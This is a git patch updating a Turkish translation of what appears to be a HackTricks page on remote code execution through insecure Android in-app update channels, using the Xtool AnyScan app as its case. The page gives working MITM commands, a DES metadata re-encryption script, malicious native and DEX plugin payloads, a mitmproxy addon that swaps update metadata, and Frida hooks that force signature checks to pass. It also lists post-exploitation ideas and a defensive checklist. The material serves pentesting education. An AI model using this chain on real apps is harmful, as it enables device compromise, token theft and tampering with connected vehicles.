From 6dc9fe84561791210f5aab6a0db2956d4bf1a693 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 27 Aug 2025 04:08:55 +0000 Subject: [PATCH] Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap --- .../insecure-in-app-update-rce.md | 186 ++++++++++++++---- 1 file changed, 148 insertions(+), 38 deletions(-) diff --git a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md index f033b863c..ae2054eb0 100644 --- a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md +++ b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md @@ -1,16 +1,49 @@ -# Güvensiz Uygulama İçi Güncelleme Mekanizmaları – Kötü Amaçlı Eklentilerle Uzaktan Kod Yürütme +# Güvensiz Uygulama İçi Güncelleme Mekanizmaları – Zararlı Eklentilerle Uzaktan Kod Çalıştırma {{#include ../../banners/hacktricks-training.md}} -Birçok Android uygulaması **Google Play Store** yerine **kendi “eklenti” veya “dinamik özellik” güncelleme kanallarını** uygular. Uygulama güvenli değilse, trafiği kesebilen bir saldırgan **uygulama sürecinde yüklenecek rastgele yerel kod sağlayabilir**, bu da cihazda tam Uzaktan Kod Yürütme (RCE) ile sonuçlanır – ve bazı durumlarda uygulama tarafından kontrol edilen herhangi bir dış cihazda (arabalar, IoT, tıbbi cihazlar …) da. +Birçok Android uygulaması Google Play Store yerine kendi “plugin” veya “dynamic feature” güncelleme kanallarını uygular. Uygulama yanlış yapılandırılmışsa ve saldırgan güncelleme trafiğini ele geçirebiliyor veya değiştirebiliyorsa, uygulama süreci içinde yüklenecek keyfi native veya Dalvik/ART kodu sağlayabilir; bu da telefonda tam Uzaktan Kod Çalıştırma (RCE) ile sonuçlanır — ve bazı durumlarda uygulama tarafından kontrol edilen harici cihazlarda da (arabalar, IoT, tıbbi cihazlar …). -Bu sayfa, Xtool **AnyScan** otomotiv-diyagnostik uygulamasında (v4.40.11 → 4.40.40) bulunan gerçek bir güvenlik açığı zincirini özetlemekte ve tekniği genelleştirerek diğer Android uygulamalarını denetlemenizi ve bir kırmızı takım angajmanı sırasında yanlış yapılandırmayı silahlandırmanızı sağlamaktadır. +Bu sayfa, Xtool AnyScan otomotiv-diagnostik uygulamasında (v4.40.11 → 4.40.40) bulunan gerçek dünya bir zafiyet zincirini özetler ve tekniği genelleştirerek diğer Android uygulamalarını denetlemenizi ve yanlış yapılandırmayı bir red-team engagement sırasında sömürmenizi sağlar. --- -## 1. Güvensiz TLS TrustManager'ı Belirleme +## 0. Hızlı triyaj: uygulamanın bir in‑app updater'ı var mı? -1. APK'yı jadx / apktool ile decompile edin ve ağ yığınına (OkHttp, HttpUrlConnection, Retrofit…) ulaşın. -2. Her sertifikayı körü körüne güvenen **özel bir `TrustManager`** veya `HostnameVerifier` arayın: +JADX/apktool'ta bakılacak statik ipuçları: +- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip". +- Ağ uç noktaları gibi `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`. +- Güncelleme yollarının yakınındaki kripto yardımcıları (DES/AES/RC4; Base64; JSON/XML paketleri). +- Dinamik yükleyiciler: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`. +- Uygulama içi veya harici depolamaya yazıp ardından hemen bir `.so`/DEX yükleyen unzip yolları. + +Doğrulamak için çalışma zamanı kancaları: +```js +// Frida: log native and dex loading +Java.perform(() => { +const Runtime = Java.use('java.lang.Runtime'); +const SystemJ = Java.use('java.lang.System'); +const DexClassLoader = Java.use('dalvik.system.DexClassLoader'); + +SystemJ.load.overload('java.lang.String').implementation = function(p) { +console.log('[System.load] ' + p); return this.load(p); +}; +SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) { +console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n); +}; +Runtime.load.overload('java.lang.String').implementation = function(p){ +console.log('[Runtime.load] ' + p); return this.load(p); +}; +DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) { +console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`); +return this.$init(dexPath, optDir, libPath, parent); +}; +}); +``` +--- +## 1. Güvensiz bir TLS TrustManager'ı Tespit Etme + +1. jadx / apktool ile APK'yı decompile edin ve networking stack'i (OkHttp, HttpUrlConnection, Retrofit…) bulun. +2. Her sertifikaya körü körüne güvenen özel bir `TrustManager` veya `HostnameVerifier` arayın: ```java public static TrustManager[] buildTrustManagers() { return new TrustManager[]{ @@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};} }; } ``` -3. Eğer mevcutsa, uygulama **herhangi bir TLS sertifikasını** kabul edecektir → kendinden imzalı bir sertifika ile şeffaf bir **MITM proxy** çalıştırabilirsiniz: +3. Mevcutsa uygulama herhangi bir TLS sertifikasını kabul eder → self-signed cert ile transparent MITM proxy çalıştırabilirsiniz: ```bash mitmproxy -p 8080 -s addon.py # see §4 iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator ``` -## 2. Güncelleme Meta Verilerini Tersine Mühendislik +Eğer TLS pinning güvenli olmayan trust-all mantığı yerine uygulanıyorsa, bkz: -AnyScan durumunda her uygulama başlatıldığında bir HTTPS GET isteği tetiklenir: +{{#ref}} +android-anti-instrumentation-and-ssl-pinning-bypass.md +{{#endref}} + +{{#ref}} +make-apk-accept-ca-certificate.md +{{#endref}} + +--- +## 2. Reverse-Engineering the Update Metadata + +AnyScan durumunda her uygulama başlatması şu adrese bir HTTPS GET tetikler: ``` https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx ``` -Yanıt gövdesi, her mevcut eklentiyi tanımlayan **Base64 kodlu, DES-ECB şifreli** JSON içeren `` düğümlerinden oluşan bir **XML belgesi**dir. +Yanıt gövdesi, her bir kullanılabilir eklentiyi tanımlayan Base64 ile kodlanmış, DES-ECB ile şifrelenmiş JSON içeren düğümlerine sahip bir XML belgesidir. -Tipik avlanma adımları: -1. Kripto rutinini (örneğin `RemoteServiceProxy`) bulun ve geri kazanın: -* algoritma (DES / AES / RC4 …) -* çalışma modu (ECB / CBC / GCM …) -* sabit kodlu anahtar / IV (genellikle 56-bit DES anahtarları veya 128-bit AES anahtarları sabitlerde) -2. Metadata'yı şifrelemek / şifre çözmek için Python'da fonksiyonu yeniden uygulayın: +Tipik keşif adımları: +1. Kripto rutinini (ör. `RemoteServiceProxy`) bulun ve şunları çıkarın: +- algoritma (DES / AES / RC4 …) +- işlem modu (ECB / CBC / GCM …) +- sabit kodlanmış key / IV (genellikle 56-bit DES veya 128-bit AES sabitleri) +2. Metadata'yı deşifrelemek / şifrelemek için fonksiyonu Python'da yeniden uygulayın: ```python from Crypto.Cipher import DES from base64 import b64decode, b64encode @@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str: cipher = DES.new(KEY, DES.MODE_ECB) return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode() ``` -## 3. Kötü Amaçlı Bir Eklenti Oluştur +Notes seen in the wild (2023–2025): +- Metadata genellikle JSON-within-XML veya protobuf biçimindedir; weak ciphers ve static keys yaygındır. +- Birçok updaters, metadata HTTPS üzerinden gelmiş olsa bile gerçek payload indirmesi için plain HTTP kabul eder. +- Plugins sıklıkla app-internal storage içine unzip edilir; bazıları hâlâ external storage veya legacy `requestLegacyExternalStorage` kullanır; bu da cross-app tampering'e izin verir. -1. Herhangi bir meşru eklenti ZIP'ini seçin ve yerel kütüphaneyi yüklemenizle değiştirin: +--- +## 3. Kötü Amaçlı Plugin Oluşturma + +### 3.1 Native kütüphane yolu (dlopen/System.load[Library]) + +1. Herhangi bir meşru plugin ZIP'i seçin ve native library'yi payload'unuzla değiştirin: ```c // libscan_x64.so – constructor runs as soon as the library is loaded __attribute__((constructor)) @@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid( $ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so $ zip -r PWNED.zip libscan_x64.so assets/ meta.txt ``` -2. JSON meta verisini `"FileName" : "PWNED.zip"` olacak şekilde güncelleyin ve `"DownloadURL"`'nun HTTP sunucunuza işaret ettiğinden emin olun. -3. Değiştirilen JSON'u DES ile şifreleyin + Base64 ile kodlayın ve bunu yakalanan XML'in içine geri kopyalayın. +2. JSON meta verisini güncelleyin öyle ki `"FileName" : "PWNED.zip"` ve `"DownloadURL"` HTTP sunucunuza işaret etsin. +3. Değiştirilmiş JSON'u yeniden şifreleyin + Base64 ile kodlayın ve yakalanan XML'in içine geri kopyalayın. -## 4. Payload'u mitmproxy ile Gönderin +### 3.2 Dex tabanlı plugin yolu (DexClassLoader) -`addon.py` örneği, orijinal meta verileri *sessizce* değiştiren: +Bazı uygulamalar bir JAR/APK indirir ve kodu `DexClassLoader` aracılığıyla yükler. Yükleme sırasında tetiklenen kötü amaçlı bir DEX oluşturun: +```java +// src/pwn/Dropper.java +package pwn; +public class Dropper { +static { // runs on class load +try { +Runtime.getRuntime().exec("sh -c 'id > /data/data//files/pwned' "); +} catch (Throwable t) {} +} +} +``` + +```bash +# Compile and package to a DEX jar +javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java +jar cf dropper.jar -C out/ . +d8 --output outdex/ dropper.jar +cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this +``` +Hedef `Class.forName("pwn.Dropper")` çağırırsa statik başlatıcınız çalışır; aksi takdirde Frida ile yüklü sınıfları yansıtma yoluyla listeleyip dışa aktarılmış bir metodu çağırın. + +--- +## 4. Payload'ı mitmproxy ile teslim et + +`addon.py` örneği, orijinal metadata'yı sessizce değiştirir: ```python from mitmproxy import http MOD_XML = open("fake_metadata.xml", "rb").read() @@ -89,36 +166,69 @@ MOD_XML, {"Content-Type": "text/xml"} ) ``` -Kötü niyetli ZIP dosyasını barındırmak için basit bir web sunucusu çalıştırın: +Kötü amaçlı ZIP/JAR'ı barındırmak için basit bir web server çalıştırın: ```bash python3 -m http.server 8000 --directory ./payloads ``` -When the victim launches the app it will: -* sahte XML'imizi MITM kanalı üzerinden alır; -* hard-coded DES anahtarı ile şifreyi çözer ve ayrıştırır; -* `PWNED.zip` dosyasını indirir → özel depolama alanında açar; -* `dlopen()` ile dahil edilen *libscan_x64.so* dosyasını çalıştırır, kodumuzu **uygulamanın izinleriyle** (kamera, GPS, Bluetooth, dosya sistemi, …) anında yürütür. +Kurban uygulamayı başlattığında şunlar gerçekleşir: +- MITM kanalı üzerinden sahte XML'imizi çeker; +- hard-coded crypto ile decrypt & parse eder; +- `PWNED.zip` veya `plugin.jar` dosyasını indirir → özel depolama içinde unzip eder; +- dahili `.so` veya DEX'i load eder ve uygulamanın izinleriyle (camera, GPS, Bluetooth, filesystem, …) kodumuzu anında çalıştırır. -Eklenti diskte önbelleğe alındığı için arka kapı **yeniden başlatmalarda kalıcıdır** ve kullanıcı ilgili özelliği her seçtiğinde çalışır. +Eklenti diske cache'lendiği için backdoor yeniden başlatmalarda kalıcı olur ve kullanıcı ilgili özelliği seçtiğinde her seferinde çalışır. -## 5. Post-Exploitation Ideas +--- +## 4.1 Bypassing signature/hash checks (when present) -* Uygulama tarafından saklanan oturum çerezlerini, OAuth token'larını veya JWT'leri çalın. -* İkinci aşama bir APK bırakın ve `pm install` ile sessizce yükleyin (uygulama zaten `REQUEST_INSTALL_PACKAGES` iznine sahiptir). -* Bağlı donanımı kötüye kullanın – AnyScan senaryosunda rastgele **OBD-II / CAN bus komutları** gönderebilirsiniz (kapıları açma, ABS'yi devre dışı bırakma, vb.). +If the updater validates signatures or hashes, hook verification to always accept attacker content: +```js +// Frida – make java.security.Signature.verify() return true +Java.perform(() => { +const Sig = Java.use('java.security.Signature'); +Sig.verify.overload('[B').implementation = function(a) { return true; }; +}); + +// Less surgical (use only if needed): defeat Arrays.equals() for byte[] +Java.perform(() => { +const Arrays = Java.use('java.util.Arrays'); +Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; }; +}); +``` +Ayrıca `PluginVerifier.verifySignature()`, `checkHash()` gibi satıcı yöntemlerini stub'lamayı veya Java ya da JNI içinde update gating mantığını kısa devre yapmayı düşünün. + +--- +## 5. Güncelleyicilerdeki diğer saldırı yüzeyleri (2023–2025) + +- Zip Slip path traversal while extracting plugins: kötü amaçlı girişler (ör. `../../../../data/data//files/target`) rastgele dosyaların üzerine yazabilir. Giriş yollarını her zaman temizleyin ve allow‑lists kullanın. +- External storage staging: uygulama arşivi yüklemeden önce external storage'a yazıyorsa, başka herhangi bir uygulama ona müdahale edebilir. Scoped Storage veya uygulama içi (internal) depolama bunu önler. +- Cleartext downloads: metadata HTTPS üzerinden ama payload HTTP üzerinden → basit bir MITM ile değiştirme. +- Incomplete signature checks: yalnızca tek bir dosya hash'ini karşılaştırmak, tüm arşivi kontrol etmemek; imzayı developer key ile bağlamamak; arşivde bulunan herhangi bir RSA anahtarını kabul etmek. +- React Native / Web-based OTA content: native bridge'ler OTA'dan gelen JS'i katı bir imzalama olmadan çalıştırıyorsa, uygulama bağlamında rastgele kod çalıştırma mümkün olabilir (ör. insecure CodePush-like flows). Detached update signing ve sıkı doğrulama uygulayın. + +--- +## 6. Post-Exploitation Ideas + +- Uygulama tarafından saklanan session cookie'lerini, OAuth token'lerini veya JWT'leri çalın. +- İkinci aşama bir APK bırakın ve mümkünse `pm install` ile sessizce yükleyin (bazı uygulamalar zaten `REQUEST_INSTALL_PACKAGES` bildiriyor). +- Bağlı herhangi bir donanımı kötüye kullanın – AnyScan senaryosunda rastgele OBD‑II / CAN bus komutları gönderebilirsiniz (kapıları açmak, ABS'i devre dışı bırakmak, vb.). --- ### Detection & Mitigation Checklist (blue team) -* Sertifika doğrulamasını devre dışı bırakan özel bir TrustManager/HostnameVerifier ile üretim sürümü asla göndermeyin. -* Google Play dışından yürütülebilir kod indirmeyin. Eğer *zorundaysanız*, her eklentiyi aynı **apkSigning v2** anahtarı ile imzalayın ve yüklemeden önce imzayı doğrulayın. -* Zayıf/hard-coded kriptografiyi **AES-GCM** ve sunucu tarafında dönen bir anahtarla değiştirin. -* İndirilen arşivlerin bütünlüğünü doğrulayın (imza veya en azından SHA-256). +- Dinamik kod yüklemelerinden ve out‑of‑store güncellemelerden kaçının. Play‑mediated güncellemeleri tercih edin. Eğer dinamik pluginler zorunluluksa, bunları sadece veri‑paketleri olarak tasarlayın ve yürütülebilir kodu base APK'da tutun. +- TLS'i düzgün şekilde zorunlu kılın: custom trust‑all yöneticileri kullanmayın; mümkünse pinning uygulayın ve cleartext trafiğini engelleyen sertleştirilmiş bir network security config dağıtın. +- Google Play dışından executable kod indirmeyin. Zorunluysa detached update signing (ör. Ed25519/RSA) kullanın, developer tarafından tutulan bir anahtar ile doğrulayın ve yüklemeden önce kontrol edin. Metadata ile payload'u (length, hash, version) bağlayın ve fail closed davranın. +- Metadata için her mesajda nonce kullanan modern kriptografiyi (AES‑GCM) kullanın; client'lardaki hard‑coded anahtarları kaldırın. +- İndirilen arşivlerin bütünlüğünü doğrulayın: her dosyayı kapsayan bir imzayı doğrulayın veya en azından bir SHA‑256 hash manifest'ini doğrulayın. Ek/unknown dosyaları reddedin. +- İndirmeleri app‑internal storage'da (veya Android 10+ için scoped storage) saklayın ve uygulamalar arası müdahaleyi önleyen dosya izinleri kullanın. +- Zip Slip'e karşı savunma: çıkarma öncesi zip giriş yollarını normalize edin ve doğrulayın; mutlak yolları veya `..` segmentlerini reddedin. +- Play “Code Transparency”yı değerlendirin; bu, dağıtılan DEX/native kodunun sizin build'inizle eşleşip eşleşmediğini siz ve kullanıcıların doğrulamasına olanak verir (tamamlayıcıdır ama APK signing'in yerine geçmez). --- ## References - [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) -- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager) +- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading) {{#include ../../banners/hacktricks-training.md}}